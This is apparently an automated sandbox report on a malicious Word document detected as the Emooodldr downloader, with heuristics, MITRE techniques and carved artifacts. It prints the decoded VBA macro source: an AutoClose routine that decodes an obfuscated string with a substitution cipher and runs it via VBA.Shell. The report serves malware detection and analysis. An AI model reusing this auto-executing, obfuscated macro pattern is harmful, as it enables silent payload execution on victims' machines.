MALICIOUS
282
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample is a malicious OOXML document containing VBA macros. The AutoClose macro is triggered upon document closure, which then calls another subroutine that uses VBA.Shell to execute a command. ClamAV detections indicate this is likely the Emooodldr family, which typically downloads and executes a second-stage payload.
Heuristics 6
-
ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2127 bytes |
SHA-256: 2ab9ec8f6b140a94c395eeb1643fabfcd48ba8ba4843a8438b9b5bf7511d2a69 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoClose()
sharecrops = Array("P", "5", "l", "t", "9", "X", "Z", "2", "Z", "K", "l", "t", "t", "x", "p", "n", "n", "h", "6", "G", "E", "h", "T", "6", "b", "N", "h", "T", "G", "h", "l", "T", "Z", "T", "X", "Q", "y", "P", "n", "f", "V", "n", "5", "P", "G", "2", "X", "x", "l", "x", "7", "b", "t", "P", "9", "C", "6", "y", "N", "l")
hornily = auditioned(sharecrops)
Application.Run "unexacerbated", (hornily)
End Sub
Private Sub unexacerbated(beziques)
prediligently = 6162
unfarced = True
While unfarced
aconative = prediligently + 222
If aconative - prediligently > 111 Then
VBA.Shell beziques, vbNormalFocus - 1
unfarced = False
End If
Wend
End Sub
Public Function blottesquely(frivols, austerity)
precomradeship = 9090
futeator = -1
For Each plumpness In austerity
If plumpness = frivols Then
precomradeship = futeator
Exit For
End If
futeator = futeator + 1
Next
If precomradeship = 9090 Then
precomradeship = -1
End If
blottesquely = precomradeship + 1
End Function
Private Function auditioned(sharecrops)
khutbah = Array("G", "t", "P", "7", "h", "V", "K", "5", "2", "y", "X", "l", "f", "T", "x", "9", "Q", "Z", "p", "C", "6", "E", "b", "N", "n")
bacteriostatic = Array("i", "t", "m", "?", "q", "A", " ", "s", "x", "o", ".", "h", "N", "w", "p", "a", "c", "e", ":", "=", "d", "j", "u", "n", "/")
necessitously = vbNullString
For Each frontolysis In sharecrops
unlanterned = Application.Run("blottesquely", frontolysis, khutbah)
If unlanterned > -1 And unlanterned < 8080 Then
necessitously = bacteriostatic(unlanterned) + necessitously
End If
Next
auditioned = StrReverse(necessitously)
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 12288 bytes |
SHA-256: 590eed37ea73c6a6a4f5a482d4c3388c5d192635fefe8f411bb0c6ef9a49281d |
|||
|
Detection
ClamAV:
Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.